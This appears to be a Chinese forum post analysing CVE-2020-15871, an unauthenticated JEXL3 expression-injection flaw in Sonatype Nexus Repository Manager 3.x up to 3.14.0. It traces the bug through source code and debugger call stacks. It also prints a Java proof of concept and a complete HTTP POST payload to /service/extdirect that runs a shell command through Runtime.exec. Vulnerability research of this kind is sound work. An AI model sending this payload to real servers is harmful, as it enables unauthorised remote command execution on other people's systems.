大佬能不能分析一下CVE-2020-15871
简介
Sonatype Nexus Repository Manager 3的plugins/nexus-coreui-plugin/src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy
接口未进行权限验证,该接口可以在未授权访问时发送精心构造的恶意JSON
数据,造成JEXL3
表达式注入进而远程执行任意命令。
影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.14.0
修复版本:Nexus Repository Manager OSS/Pro 3.15.0
JEXL表达式
JEXL(Java EXpression Language),这是一种简单的表达语言,JEXL基于对JSTL表达式语言进行一些扩展从而实现一种表达式语言,最初受Apache Velocity和JavaServer Pages标准标记库版本1.1(JSTL)和JavaServer Pages 2.0(JSP)中定义的表达语言的启发。
示例
选择Nexus-Repository-Manager3中使用的JEXL3,添加pom.xml
依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-jexl3</artifactId>
<version>3.0</version>
</dependency>
使用的基本步骤:
- 创建表达式引擎对象
- 创建想要执行的表达式语句,语句中可以包含变量
- 创建表达式Context对象,给表达式中的变量赋值
- 使用表达式引擎创建表达式对象
- 使用表达式对象执行表达式计算
伪代码:
// Create a JexlEngine (could reuse one instead)
JexlEngine jexl = new JexlBuilder().create();
// Create an expression object equivalent to 'car.getEngine().checkStatus()':
String jexlExp = "car.engine.checkStatus()";
Expression e = jexl.createExpression( jexlExp );
// The car we have to handle coming as an argument...
Car car = theCarThatWeHandle;
// Create a context and add data
JexlContext jc = new MapContext();
jc.set("car", car );
// Now evaluate the expression, getting the result
Object o = e.evaluate(jc);
实际代码:
Foo.java
public static class Foo {
public String getFoo() {
return "This is from getFoo()";
}
public String get(String arg) {
return "This is the property " + arg;
}
public String convert(long i) {
return "The value is : " + i;
}
}
Foo类包含三个简单方法,包含有参数和无参数方法。
TestCase.java
package Nexus;
import org.apache.commons.jexl3.*;
public class TestCase {
public static void main(String[] args) {
JexlEngine jexl = new JexlBuilder().create();
JexlContext jc = new MapContext();
Foo foo = new Foo();
Integer number = new Integer(9999);
jc.set("foo", foo);
jc.set("number", number);
JexlExpression e = jexl.createExpression("foo.getFoo()");
Object o = e.evaluate(jc);
System.out.println("value returned by the method getFoo() is : " + o + " | " + foo.getFoo());
e = jexl.createExpression("foo.convert(1)");
o = e.evaluate(jc);
System.out.println("value of " + e.getParsedText() + " is : " + o + " | " + foo.convert(1));
e = jexl.createExpression("foo.convert(number)");
o = e.evaluate(jc);
System.out.println("value of " + e.getParsedText() + " is : " + o + " | " + foo.convert(9999));
e = jexl.createExpression("foo.bar");
o = e.evaluate(jc);
System.out.println("value returned for the property 'bar' is : " + o + " | " + foo.get("bar"));
}
public static class Foo {
public String getFoo() {
return "This is from getFoo()";
}
public String get(String arg) {
return "This is the property " + arg;
}
public String convert(long i) {
return "The value is : " + i;
}
}
}
首先是new JexlBuilder().create()
创建引擎对象,接着new MapContext()
创建表达式Context对象数组,接着创建Integer
对象和Foo
对象通过set
放入数组中。
第一个例子
createExpression("foo.getFoo()")
,创建引擎创建表达式对象,然后通过evaluate
执行计算。表达式字符串存在foo
,因此会到表达式Context数组中匹配到Foo
对象,并执行无参数的getFoo()
方法。第二个例子
createExpression("foo.convert(1)")
,指定传入参数1
并调用convert()
,结果为1
第三个例子
createExpression("foo.convert(number)")
,到Context数组中寻找传入参数的number
,并调用convert()
,结果为9999
运行结果:
value returned by the method getFoo() is : This is from getFoo() | This is from getFoo()
value of foo.convert(1) is : The value is : 1 | The value is : 1
value of foo.convert(number) is : The value is : 9999 | The value is : 9999
value returned for the property 'bar' is : This is the property bar | This is the property bar
RCE
精心构造恶意的表达式,表达式对象执行时能够完成任意命令执行,POC如下:
package Nexus;
import org.apache.commons.jexl3.*;
public class JEXLTEST {
public static void main(String[] args) {
String Exp = "233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/rai4over')";
JexlEngine engine = new JexlBuilder().create();
JexlExpression Expression = engine.createExpression(Exp);
JexlContext Context = new MapContext();
//Context.set("foo", 999);
Object rs = Expression.evaluate(Context);
System.out.println(rs);
}
}
org.apache.commons.jexl3.JexlBuilder#create
new JexlBuilder().create()
首先创建JexlBuilder
类对象,然后调用create
方法创建并返回Engine
对象
org.apache.commons.jexl3.internal.Engine#Engine(org.apache.commons.jexl3.JexlBuilder)
Engine
对象使用构造函数进行初始化,并且Engine
类继承JexlEngine
类,返回上层执行engine.createExpression(Exp)
。
org.apache.commons.jexl3.JexlExpression
expression
必须是有效的JEXL表达式字符串,调用父类JexlEngine
的createExpression
方法。
org.apache.commons.jexl3.internal.Engine#createExpression
使用trimSource
去掉表达式的空白,然后传入parse
函数
org.apache.commons.jexl3.internal.Engine#parse
然后调用this.parser.parse()
进行解析表达式,this.parser
对象构造函数
org/apache/commons/jexl3/internal/Engine.java:91
org.apache.commons.jexl3.parser.Parser#Parser(java.io.Reader)
继续跟进parse
对象的parse()
org.apache.commons.jexl3.parser.Parser#parse
org.apache.commons.jexl3.parser.JJTParserState#closeNodeScope(org.apache.commons.jexl3.parser.Node, boolean)
解析表达式的过程很长,通过节点node
进行解析,解析的调用栈为:
closeNodeScope:112, JJTParserState (org.apache.commons.jexl3.parser)
Arguments:3044, Parser (org.apache.commons.jexl3.parser)
MethodCall:3565, Parser (org.apache.commons.jexl3.parser)
MemberExpression:3604, Parser (org.apache.commons.jexl3.parser)
ValueExpression:3634, Parser (org.apache.commons.jexl3.parser)
UnaryExpression:2367, Parser (org.apache.commons.jexl3.parser)
MultiplicativeExpression:2080, Parser (org.apache.commons.jexl3.parser)
AdditiveExpression:2000, Parser (org.apache.commons.jexl3.parser)
RelationalExpression:1661, Parser (org.apache.commons.jexl3.parser)
EqualityExpression:1549, Parser (org.apache.commons.jexl3.parser)
AndExpression:1505, Parser (org.apache.commons.jexl3.parser)
ExclusiveOrExpression:1461, Parser (org.apache.commons.jexl3.parser)
InclusiveOrExpression:1417, Parser (org.apache.commons.jexl3.parser)
ConditionalAndExpression:1373, Parser (org.apache.commons.jexl3.parser)
ConditionalOrExpression:1329, Parser (org.apache.commons.jexl3.parser)
ConditionalExpression:1247, Parser (org.apache.commons.jexl3.parser)
AssignmentExpression:947, Parser (org.apache.commons.jexl3.parser)
Expression:943, Parser (org.apache.commons.jexl3.parser)
JexlExpression:155, Parser (org.apache.commons.jexl3.parser)
parse:27, Parser (org.apache.commons.jexl3.parser)
parse:684, Engine (org.apache.commons.jexl3.internal)
createExpression:371, Engine (org.apache.commons.jexl3.internal)
createExpression:59, Engine (org.apache.commons.jexl3.internal)
createExpression:289, JexlEngine (org.apache.commons.jexl3)
main:13, JEXLTEST (Nexus)
层层返回到createExpression
函数
org/apache/commons/jexl3/internal/Engine.java:371
ASTJexlScript
对象通过children
成员层级关系存储解析出来的node
节点,并传入Script
构造函数。
org.apache.commons.jexl3.internal.Script#Script
分别放入Script
类的各个成员中,最终返回Script
类对象到main
函数。
Expression类型为Script
,且继续传入表达式Context对象调用evaluate
方法
org.apache.commons.jexl3.internal.Script#evaluate
传入包含全部层级关系的node
进入interpreter.interpret
进行解析
org.apache.commons.jexl3.internal.Interpreter#interpret
后面就是层层解析node
,最后通过反射完成命令执行,调用栈如下:
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:93, MethodExecutor (org.apache.commons.jexl3.internal.introspection)
call:1665, Interpreter (org.apache.commons.jexl3.internal)
visit:1409, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:18, ASTMethodNode (org.apache.commons.jexl3.parser)
visit:1133, Interpreter (org.apache.commons.jexl3.internal)
jjtAccept:18, ASTReference (org.apache.commons.jexl3.parser)
interpret:201, Interpreter (org.apache.commons.jexl3.internal)
evaluate:186, Script (org.apache.commons.jexl3.internal)
main:20, JEXLTEST (Nexus)
Nexus3 JEXL3表达式注入
环境搭建
拉取nexus3 docker
docker pull sonatype/nexus3:3.14.0
运行docker容器
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.14.0
8081
为Web管理端口映射,5050
为JDWP调试端口映射,nexus-data
为数据目录,INSTALL4J_ADD_VM_PARAMS
为调试参数。
Github下载 Nexus 源码:
git clone https://github.com/sonatype/nexus-public.git
并且切换至 3.14.0-04
分支:
git checkout -b release-3.14.0-04 remotes/origin/release-3.14.0-04
IDEA配置远程调试信息
成功后可以在org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter
进行断点测试。
漏洞分析
Payload:
POST /service/extdirect HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 825
Connection: close
{
"action":"coreui_Component",
"method":"previewAssets",
"data":[
{
"page":1,
"start":0,
"limit":50,
"sort":[
{
"property":"name",
"direction":"ASC"
}],
"filter":
[
{
"property":"repositoryName",
"value":"*"
},
{
"property":"expression",
"value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/rai4over')"
},
{
"property":"type",
"value":"jexl"
}]
}],
"type":"rpc",
"tid":8
}
查看Servlet Filter配置:
src/main/resources/overlay/etc/jetty/nexus-web.xml
com/softwarementors/extjs/djn/router/dispatcher/DispatcherBase.java:63
解析JSON后进行调度,调用栈如下:
dispatch:63, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher)
dispatchStandardMethod:73, StandardRequestProcessorBase (com.softwarementors.extjs.djn.router.processor.standard)
processIndividualRequest:502, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
processIndividualRequestsInThisThread:150, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
process:133, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json)
processJsonRequest:83, RequestRouter (com.softwarementors.extjs.djn.router)
processRequest:632, DirectJNgineServlet (com.softwarementors.extjs.djn.servlet)
doPost:595, DirectJNgineServlet (com.softwarementors.extjs.djn.servlet)
doPost:155, ExtDirectServlet (org.sonatype.nexus.extdirect.internal)
service:707, HttpServlet (javax.servlet.http)
service:790, HttpServlet (javax.servlet.http)
doServiceImpl:286, ServletDefinition (com.google.inject.servlet)
doService:276, ServletDefinition (com.google.inject.servlet)
service:181, ServletDefinition (com.google.inject.servlet)
service:71, DynamicServletPipeline (com.google.inject.servlet)
doFilter:85, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:449, AbstractShiroFilter (org.apache.shiro.web.servlet)
executeChain:85, SecurityFilter (org.sonatype.nexus.security)
call:365, AbstractShiroFilter$1 (org.apache.shiro.web.servlet)
doCall:90, SubjectCallable (org.apache.shiro.subject.support)
call:83, SubjectCallable (org.apache.shiro.subject.support)
execute:383, DelegatingSubject (org.apache.shiro.subject.support)
doFilterInternal:362, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:101, SecurityFilter (org.sonatype.nexus.security)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:108, LicensingRedirectFilter (com.sonatype.nexus.licensing.internal)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:97, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:68, ErrorPageFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:101, EnvironmentFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:98, HeaderPatternFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
dispatch:104, DynamicFilterPipeline (com.google.inject.servlet)
doFilter:135, GuiceFilter (com.google.inject.servlet)
doFilter:73, DelegatingFilter (org.sonatype.nexus.bootstrap.osgi)
doFilter:1634, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doHandle:533, ServletHandler (org.eclipse.jetty.servlet)
handle:146, ScopedHandler (org.eclipse.jetty.server.handler)
handle:548, SecurityHandler (org.eclipse.jetty.security)
handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
nextHandle:257, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1595, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:255, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1317, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:203, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:473, ServletHandler (org.eclipse.jetty.servlet)
doScope:1564, SessionHandler (org.eclipse.jetty.server.session)
nextScope:201, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1219, ContextHandler (org.eclipse.jetty.server.handler)
handle:144, ScopedHandler (org.eclipse.jetty.server.handler)
handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:175, InstrumentedHandler (com.codahale.metrics.jetty9)
handle:126, HandlerCollection (org.eclipse.jetty.server.handler)
handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:531, Server (org.eclipse.jetty.server)
handle:352, HttpChannel (org.eclipse.jetty.server)
onFillable:260, HttpConnection (org.eclipse.jetty.server)
succeeded:281, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:102, FillInterest (org.eclipse.jetty.io)
run:118, ChannelEndPoint$2 (org.eclipse.jetty.io)
runTask:333, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
doProduce:310, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
tryProduce:168, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:126, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:366, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:762, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:680, QueuedThreadPool$2 (org.eclipse.jetty.util.thread)
run:748, Thread (java.lang)
调度后进入关键的PagedResponse<AssetXO> previewAssets
org.sonatype.nexus.coreui.ComponentComponent#previewAssets
可以发现可以未授权访问,parameters.getFilter
获取type
、expression
等参数,根据type
进入对应分支调用jexlExpressionValidator.validate
函数
org.sonatype.nexus.selector.JexlExpressionValidator#validate
继续将恶意表达式字符串传入JexlSelector
构造函数
org.sonatype.nexus.selector.JexlSelector#JexlSelector
恶意表达式字符串创建表达式对象并存入this.expression
成员,层层返回后,调用接着将参数传入browseService.previewAssets
org.sonatype.nexus.repository.browse.internal.BrowseServiceImpl#previewAssets
继续跟踪countAssets
接口
org.sonatype.nexus.repository.storage.StorageTxImpl#countAssets(java.lang.String, java.util.Map<java.lang.String,java.lang.Object>, java.lang.Iterable<org.sonatype.nexus.repository.Repository>, java.lang.String)
org.sonatype.nexus.repository.storage.MetadataNodeEntityAdapter#countByQuery
调用栈很长,直接跳到最关键的位置
org.sonatype.nexus.internal.selector.SelectorManagerImpl#evaluate
selectorConfiguration
作为参数创建Selector
对象,然后调用evaluate
函数
org.sonatype.nexus.selector.JexlSelector#evaluate
最终的表达式注入点,执行了上方创建的恶意表达式对象this.expression
,完成任意命令执行。
参考
https://www.anquanke.com/post/id/202867